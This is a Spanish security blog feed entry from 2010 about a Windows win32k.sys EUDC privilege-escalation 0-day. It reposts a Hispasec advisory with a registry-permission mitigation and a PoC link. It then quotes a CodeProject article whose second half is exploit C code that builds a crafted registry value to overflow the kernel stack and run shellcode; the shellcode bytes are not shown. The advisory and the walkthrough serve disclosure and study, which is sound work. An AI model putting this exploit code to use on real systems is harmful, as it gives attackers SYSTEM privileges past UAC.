cualquier control de usuario. &lt;br /&gt;&lt;br /&gt;Los detalles técnicos se han hecho públicos, así como el código fuente y &lt;br /&gt;el programa necesarios para aprovechar el fallo. El exploit se aprovecha &lt;br /&gt;de la forma en la que el controlador win32k.sys procesa ciertos valores &lt;br /&gt;del registro. En concreto, el exploit manipula el valor &lt;br /&gt;SystemDefaultUEDCFont del registro y activa el soporte para EUDC &lt;br /&gt;(End-User-Defined-Characters) a través de la función EnableEUDC. &lt;br /&gt;&lt;br /&gt;Esto quiere decir que el atacante debe crear una clave en el registro &lt;br /&gt;donde un usuario no administrador tiene privilegios para hacerlo. Luego &lt;br /&gt;intenta leerla, provoca el fallo en el driver y obtiene los privilegios. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;Hash: SHA1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------&lt;br /&gt;&amp;nbsp; Hispasec - una-al-día&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25/11/2010&lt;br /&gt;&amp;nbsp; Todos los días una noticia de seguridad&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; www.hispasec.com&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;0 day: Elevación de privilegios en Microsoft Windows&lt;br /&gt;&amp;nbsp;----------------------------------------------------&lt;br /&gt;&lt;br /&gt;Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un &lt;br /&gt;usuario local obtener privilegios de SYSTEM (control total sobre el &lt;br /&gt;sistema) eludiendo cualquier control de usuario. &lt;br /&gt;&lt;br /&gt;Los detalles técnicos se han hecho públicos, así como el código fuente y &lt;br /&gt;el programa necesarios para aprovechar el fallo. El exploit se aprovecha &lt;br /&gt;de la forma en la que el controlador win32k.sys procesa ciertos valores &lt;br /&gt;del registro. En concreto, el exploit manipula el valor &lt;br /&gt;SystemDefaultUEDCFont del registro y activa el soporte para EUDC &lt;br /&gt;(End-User-Defined-Characters) a través de la función EnableEUDC. &lt;br /&gt;&lt;br /&gt;Esto quiere decir que el atacante debe crear una clave en el registro &lt;br /&gt;donde un usuario no administrador tiene privilegios para hacerlo. Luego &lt;br /&gt;intenta leerla, provoca el fallo en el driver y obtiene los privilegios. &lt;br /&gt;La prueba de concepto utiliza esta clave: &lt;br /&gt;&lt;br /&gt;HKEY_USERS\[SID DEL USUARIO]\EUDC &lt;br /&gt;&lt;br /&gt;La prueba de concepto funciona perfectamente en Windows Vista, 7 y 2008 &lt;br /&gt;totalmente parcheados. Tanto si el usuario pertenece al grupo de &lt;br /&gt;usuarios como al de administradores (incluso con la protección UAC &lt;br /&gt;activa), se obtendrán privilegios sin ningún tipo de advertencia por &lt;br /&gt;parte de Windows y por supuesto, sin necesidad de conocer la contraseña. &lt;br /&gt;&lt;br /&gt;En Windows XP, la prueba de concepto no funciona (no existe por defecto &lt;br /&gt;esa rama del registro) pero es posible que la vulnerabilidad también le &lt;br /&gt;afecte. La prueba de concepto no es detectada por ningún motor en estos &lt;br /&gt;momentos: &lt;a href="http://www.virustotal.com/file-scan/report.html?id=59260532fe33547420613b0aa7b001aed3f565201e50f91558a16cf7465775f6-1290672402"&gt;VirusTotal&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para que este fallo fuese aprovechado por un atacante o malware, primero &lt;br /&gt;debería acceder al sistema por cualquier otro medio y encontrarse con &lt;br /&gt;que no puede realizar los cambios que desea a causa de los permisos. &lt;br /&gt;Realmente, este no suele ser un impedimento para el malware masivo &lt;br /&gt;(puesto que el usuario medio suele o bien obviar el UAC o bien &lt;br /&gt;deshabilitarlo o bien en XP pertenecer al grupo de administradores). Sí &lt;br /&gt;que es posible que este fallo sea usado en ataques dirigidos o entornos &lt;br /&gt;profesionales, donde los usuarios de escritorio suelen tener privilegios &lt;br /&gt;limitados en el dominio. &lt;br /&gt;&lt;br /&gt;Con este fallo, ya son dos problemas de elevación de privilegios que &lt;br /&gt;Microsoft debe arreglar. El fallo anterior fue descubierto en el cuerpo &lt;br /&gt;del famoso troyano Stuxnet. A través del programador de tareas, el &lt;br /&gt;malware era capaz de elevar privilegios en el equipo infectado. Hace &lt;br /&gt;algunos días los detalles de esta vulnerabilidad también se hicieron &lt;br /&gt;públicos. &lt;br /&gt;&lt;br /&gt;El equipo de seguridad de Microsoft ha declarado en su twitter que está &lt;br /&gt;investigando el asunto. Un método para prevenir el problema hasta que &lt;br /&gt;exista parche oficial es limitar los permisos del usuario en la rama &lt;br /&gt;&lt;br /&gt;HKEY_USERS\[SID DEL USUARIO]\EUDC &lt;br /&gt;&lt;br /&gt;En el registro, se debe negar el permiso de escritura a los usuarios no &lt;br /&gt;administradores. Gráficamente, es sencillo (localizar el SID del &lt;br /&gt;usuario, botón derecho sobre la rama del registro y denegar). &lt;br /&gt;&lt;br /&gt;Para automatizar el proceso, aconsejamos (aunque puede tener efectos &lt;br /&gt;secundarios, hágalo bajo su responsabilidad) utilizar subinacl.exe, una &lt;br /&gt;herramienta oficial de Microsoft descargable desde &lt;a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=e8ba3e56-d8fe-4a91-93cf-ed6985e3927b"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Una vez instalada, localizar el SID del usuario (normalmente terminará &lt;br /&gt;en 1000) y el nombre de máquina y usuario con el comando: &lt;br /&gt;&lt;br /&gt;whoami /user: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;INFORMACIÓN DE USUARIO &lt;br /&gt;&amp;nbsp;---------------------- &lt;br /&gt;&lt;br /&gt;Nombre de usuario SID &lt;br /&gt;============================================== &lt;br /&gt;ordenador\usuario S-1-5-21-123456789-12345677889-123445678990-1000 &lt;br /&gt;&lt;br /&gt;y ejecutar: &lt;br /&gt;&lt;br /&gt;subinacl.exe /subkeyreg "HKEY_USERS\ &lt;br /&gt;S-1-5-21-123456789-12345677889-123445678990-1000\EUDC /deny= &lt;br /&gt;ordenador\usuario=w &lt;br /&gt;&lt;br /&gt;Esto evitará que el usuario pueda escribir en esa rama y por tanto la &lt;br /&gt;prueba de concepto no funcionará. Repetir para el resto de usuarios en &lt;br /&gt;el equipo si los hubiera. &lt;br /&gt;&lt;br /&gt;Opina sobre esta noticia: &lt;br /&gt;http://www.hispasec.com/unaaldia/4415/comentar&lt;br /&gt;&lt;br /&gt;Más información:&lt;br /&gt;&lt;br /&gt;POC:&lt;br /&gt;http://www.exploit-db.com/sploits/uacpoc.zip&lt;br /&gt;&lt;br /&gt;We 're investigating public PoC for a local EoP vuln requiring an&lt;br /&gt;account on the target system&lt;br /&gt;http://twitter.com/msftsecresponse&lt;/blockquote&gt;Fuente &lt;a href="http://www.hispasec.com/unaaldia/4415/"&gt;Hispasec&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;El articulo de &lt;a href="http://www.codeproject.com/"&gt;CodeProject&lt;/a&gt; (que luego fue movido):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Introduction&lt;br /&gt;&lt;br /&gt;I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.&lt;br /&gt;&lt;br /&gt;The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.&lt;br /&gt;Using the code&lt;br /&gt;&lt;br /&gt;In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys-&amp;gt;NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;.text:BF81BA91&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Environment&lt;br /&gt;.text:BF81BA92&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Context&lt;br /&gt;.text:BF81BA93&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable&lt;br /&gt;.text:BF81BA98&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Path&lt;br /&gt;.text:BF81BA99&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+DestinationString]&lt;br /&gt;.text:BF81BA9C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; RelativeTo&lt;br /&gt;.text:BF81BA9D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable&lt;br /&gt;.text:BF81BAA3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h&lt;br /&gt;.text:BF81BAAD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"&lt;br /&gt;.text:BF81BAB7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax&lt;br /&gt;.text:BF81BABC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi&lt;br /&gt;.text:BF81BAC2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi&lt;br /&gt;.text:BF81BAC8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi&lt;br /&gt;.text:BF81BACE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA198FC, esi&lt;br /&gt;.text:BF81BAD4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA19900, esi&lt;br /&gt;.text:BF81BADA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA19904, esi&lt;br /&gt;.text:BF81BAE0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)&lt;br /&gt;.text:BF81BAE6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ebp+var_8], eax&lt;br /&gt;&lt;br /&gt;Stack trace shows the calling process is as follows:&lt;br /&gt;&lt;br /&gt;GDI32.EnableEUDC -&amp;gt;&lt;br /&gt;NtGdiEnableEudc -&amp;gt;&lt;br /&gt;GreEnableEUDC -&amp;gt;&lt;br /&gt;sub_BF81B3B4 -&amp;gt;&lt;br /&gt;sub_BF81BA0B -&amp;gt;&lt;br /&gt;RtlQueryRegistryValues (Overflow occurs)&lt;br /&gt;&lt;br /&gt;Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;// Allocate buffer for the driver&lt;br /&gt;LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&lt;br /&gt;memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;BYTE* pMem;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // shellcode&lt;br /&gt;DWORD ExpSize = 0;&lt;br /&gt;&lt;br /&gt;BYTE RegBuf[0x40] = {0};&amp;nbsp;&amp;nbsp;&amp;nbsp; // reg binary buffer&lt;br /&gt;&lt;br /&gt;pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&lt;br /&gt;memcpy(pMem, Data, sizeof(Data));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Copy shellcode &lt;br /&gt;&lt;br /&gt;*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Point return value to our buffer&lt;br /&gt;&lt;br /&gt;ExpSize = 0x28;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The shellcode need some kernel APIs, we need to get their addresses from the running kernel.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;// Get the running kernel file name&lt;br /&gt;HMODULE hDll = GetModuleHandle(L"ntdll.dll");&lt;br /&gt;pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");&lt;br /&gt;PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;&lt;br /&gt;ULONG AllocSize = 0;&lt;br /&gt;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);&lt;br /&gt;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;HMODULE hKernel = LoadLibraryExA(pModInfo-&amp;gt;modinfo[0].ImageName + pModInfo-&amp;gt;modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);&lt;br /&gt;&lt;br /&gt;//Relocation to the running kernel base&lt;br /&gt;DWORD Delta =&amp;nbsp; (DWORD)pModInfo-&amp;gt;modinfo[0].Base - (DWORD)hKernel;&lt;br /&gt;&lt;br /&gt;free(pModInfo);&lt;br /&gt;&lt;br /&gt;// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,&lt;br /&gt;// so we need a valid pool address to avoid BSOD.&lt;br /&gt;&lt;br /&gt;if(vi.dwBuildNumber &amp;lt; 7600)&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(DWORD i = 0; i &amp;lt; pHandleInfo-&amp;gt;NumberOfHandles; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if((HANDLE)pHandleInfo-&amp;gt;Handles[i].HandleValue == hDummy)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo-&amp;gt;Handles[i].Object) - 0x18;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; free(pHandleInfo);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Now fills the API addresses needed&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);&lt;br /&gt;FreeLibrary(hKernel);&lt;br /&gt;&lt;br /&gt;// Here we tell the shellcode(PE loader) where the driver buffer is.&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;UINT codepage = GetACP();&lt;br /&gt;TCHAR tmpstr[256];&lt;br /&gt;_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Get current code page&lt;br /&gt;HKEY hKey;&lt;br /&gt;RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &amp;amp;hKey, NULL);&lt;br /&gt;RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));&lt;br /&gt;&lt;br /&gt;RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);&lt;br /&gt;&lt;br /&gt;__try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EnableEUDC(TRUE);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;__except(1)&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));&lt;br /&gt;RegCloseKey(hKey);&lt;br /&gt;&lt;br /&gt;After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.&lt;br /&gt;Points of Interest&lt;br /&gt;&lt;br /&gt;All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.&lt;br /&gt;Additional Information&lt;br /&gt;&lt;br /&gt;This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:&lt;br /&gt;Windows Vista/2008 6.1.6000 x32,&lt;br /&gt;Windows Vista/2008 6.1.6001 x32,&lt;br /&gt;Windows 7 6.2.7600 x32,&lt;br /&gt;Windows 7/2008 R2 6.2.7600 x64.&lt;br /&gt;Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-1471289969203493775?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/1471289969203493775/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/0-day-elevacion-de-privilegios-en.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/1471289969203493775" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/1471289969203493775" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/0-day-elevacion-de-privilegios-en.html" title="0 day: Elevación de privilegios en Microsoft Windows" 